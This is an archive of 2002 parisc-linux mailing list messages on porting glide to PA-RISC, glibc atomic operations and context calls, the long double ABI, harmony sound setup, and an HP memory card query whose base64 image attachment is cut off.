Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9E964829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 22:02:40 -0600 (MDT)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.35 #1 (Debian))
	id 17jXYb-0007WX-00; Tue, 27 Aug 2002 00:02:21 -0400
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <20020824223751.GA16590@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15918

Try starting with the source for glide3-alpha.  It is the 64-bit branch of
the glide sources.  I tweaked them to compile ok on Alpha and they
shouldn't be hard to fix up for hppa as well.

C

On Sat, 24 Aug 2002, Carlos O'Donell wrote:

> > > cc -O6 -m486 -fomit-frame-pointer -funroll-loops \
> > > -fexpensive-optimizations -ffast-math -DBIG_OPT -I. \
> > > -I/usr/src/glide-2001.01.26/build-tree/glide2x/swlibs/include \
> > > -I/usr/src/glide-2001.01.26/build-tree/glide2x/cvg/include \
> > > -DENDB -DX11 -Wall -fPIC -DPIC -c -o fx64.o fx64.c
> > > 
> > > cc1: Invalid option `486'
> > > 
> > > 
> > > My question is, what incantation should I use on hppa to
> > > replace the '-O6 -m486 -f...' CFLAGS?
> > 
> > i would suggest just using "-O2" for now....
> > 
> > randolph
> > 
> 
> The issues revolves around the fact that the source tree and 
> assembly for some of pieces you want to build are meant for x86 boxes.
> Though from a cusory glance it looks like the .c files are present for
> these bits (so you can revert to those).
> 
> Right off the top:
> tvg/makefile.linux:CFLAGS = -O -m486 -fomit-frame-pointer $(LCDEFS) $(LCOPTS) $(LCINC)
> glide2x/sst1/init/initvg/makefile.unix:CFLAGS = -O -m486 -fomit-frame-pointer $(LCDEFS) $(LCOPTS) $(LCINC)
> glide2x/swlibs/include/make/3dfx.linux.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> glide2x/swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> glide2x/swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> glide2x/swlibs/include/make/makefile.autoconf.bottom:GLIDE_DEBUG_GCFLAGS = -O6 -m486
> glide3x/swlibs/include/make/3dfx.linux.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> glide3x/swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> glide3x/swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> glide3x/swlibs/include/make/makefile.autoconf.bottom:GLIDE_DEBUG_GCFLAGS = -O6 -m486
> swlibs/include/make/3dfx.linux.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
> swlibs/include/make/makefile.autoconf.bottom:GLIDE_DEBUG_GCFLAGS = -O6 -m486
> 
> These files will give you some grief and need to be changed; remove the -m486 bit.
> You either need to produce .dpatch's for the deb to use or stop building
> the deb and do it by hand with the upstream source.
> 
> You've got me all excited about seeing this work :) I have a Vodoo1 (Monster3D)
> PCI card that I might be tempted to ressurect.
> 
> Hope this helps. Sorry about there not being a _magic_ switch :)
> 
> c.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc hppa - get/set/make/swap/context() & non-atomic ops
Date: Tue, 27 Aug 2002 11:14:53 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20020827151453.GA6100__178.692295640026$1416621652$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621652 12961 80.91.229.3 (22 Nov 2014 02:00:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:52 +0000 (UTC)
Cc: debian-glibc@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 27 09:17:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 839124829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Aug 2002 09:17:12 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17ji3S-0001bZ-00; Tue, 27 Aug 2002 11:14:54 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, debian-glibc@lists.debian.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15919

PA'ers,

Comments or thoughts about the following issues would be appreciated.

These items are taken from my collection of TODO notes for glibc,
and were recently added by comments from Helge and Willy.

- Implement make/swap/set/get/context() calls in glibc
        = Don't know what's needed... can probably learn
        = about the calls from other arches.
        - Doesn't look like it will be that hard.
        - Helge brought the issue up since SAPDB relies
        - on this to work properly (www.sapdb.org)
	- With mcontext working properly... these calls
	- _should_ work :}
	* Didn't know these were broken or missing.

- Make atomic ops atomic
        = Need to implement exhcange_and_add/atomic_add
        = and compare_and_swap.
        - I have no idea how hard this will be.
        - PA has a single atomic operation called ldcw
        - Which is 'load and zero' ... we currently use
        - this to implement locking primities.
        * Are we going to have to use spinlocks to
        * handle the atomic operations?
	* I see 11 uses of generic/atomicity.h that need
	* to be fixed.

Cheers,
Carlos.



From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Breaking PARISC ABI - Testing procedures?
Date: Tue, 27 Aug 2002 11:31:02 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <200208271531.g7RFV2qR017083__9921.84351566738$1416621653$gmane$org@hiauly1.hia.nrc.ca>
References: <20020826194135.GC632@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621653 12964 80.91.229.3 (22 Nov 2014 02:00:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:53 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 27 09:56:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08435482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Aug 2002 09:56:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g7RFV300017084;
	Tue, 27 Aug 2002 11:31:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g7RFV2qR017083;
	Tue, 27 Aug 2002 11:31:02 -0400 (EDT)
In-Reply-To: <20020826194135.GC632@systemhalted> from "Carlos O'Donell" at Aug 26, 2002 03:41:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15920

> 3- sizeof(long double) is incorrect in gcc and glibc (?)

This also needs to be fixed under 64-bit hpux.  Need to determine
the calling convention for long doubles.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Schmitt <chris.81@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Harmony on 710 working?
Date: Wed, 28 Aug 2002 16:34:02 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <3D6CDF5A.5090205@gmx.de>
Reply-To: christian@familieschmitt.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621653 12966 80.91.229.3 (22 Nov 2014 02:00:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 08:33:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id ED6284829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 08:33:29 -0600 (MDT)
Original-Received: (qmail 25883 invoked by uid 0); 28 Aug 2002 14:33:21 -0000
Original-Received: from pec-112-19.tnt9.f.uunet.de (HELO gmx.de) (149.225.112.19)
  by mail.gmx.net (mp019-rz3) with SMTP; 28 Aug 2002 14:33:21 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: de, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15921

Hi,

I recently downloaded and compiled the latest pa-kernel. I also included harmony 
sound support and now I would like to know if and how I can access the sound 
device. Serching on the web was no success.

Chris

-- 
Linux - Cause life is too short for reboots



From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Wed, 28 Aug 2002 19:06:14 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 12
Approved: news@gmane.org
Message-ID: <200208281906.14844.helge.deller@sap.com>
References: <3D6CDF5A.5090205@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621653 12972 80.91.229.3 (22 Nov 2014 02:00:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:53 +0000 (UTC)
To: christian@familieschmitt.de, Christian Schmitt <chris.81@gmx.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 11:06:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [155.56.68.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id 300D7483B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 11:06:36 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id TAA24083;
  Wed, 28 Aug 2002 19:06:35 +0200 (MESZ)
User-Agent: KMail/1.4.6
In-Reply-To: <3D6CDF5A.5090205@gmx.de>
Content-Disposition: inline
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15922

On Wednesday 28 August 2002 16:34, Christian Schmitt wrote:
> I recently downloaded and compiled the latest pa-kernel. I also included
> harmony sound support and now I would like to know if and how I can access
> the sound device. Serching on the web was no success.

insmod harmony
aumix
mpg123 <your-favorite-mp3-file>

Greetings,
Helge


From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Memory card
Date: Wed, 28 Aug 2002 22:05:21 +0200
Lines: 516
Approved: news@gmane.org
Message-ID: <3D6D2D01.50003@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------000704090103050706070902"
X-Trace: ger.gmane.org 1416621654 12974 80.91.229.3 (22 Nov 2014 02:00:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 28 14:05:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id E06D74840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 14:05:27 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (vpn24.stud.tu-darmstadt.de [130.83.175.24])
	by mailserver1.hrz.tu-darmstadt.de (8.12.1/8.12.1) with ESMTP id g7SK4tDF003341
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Aug 2002 22:04:55 +0200
User-Agent: Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.0.0) Gecko/20020530
X-Accept-Language: de, de-at, en, en-us
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15923

This is a multi-part message in MIME format.
--------------000704090103050706070902
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi there,

I found a HP memory card on ebay with over 500 MB RAM . Modelnumber 
is A1703-60031 A-3140. Can I use it with  my 715/100? And where do I 
find more Information about this card.

R.

--------------000704090103050706070902
Content-Type: image/jpeg;
 name="i-1_B.JPG"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="i-1_B.JPG"

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
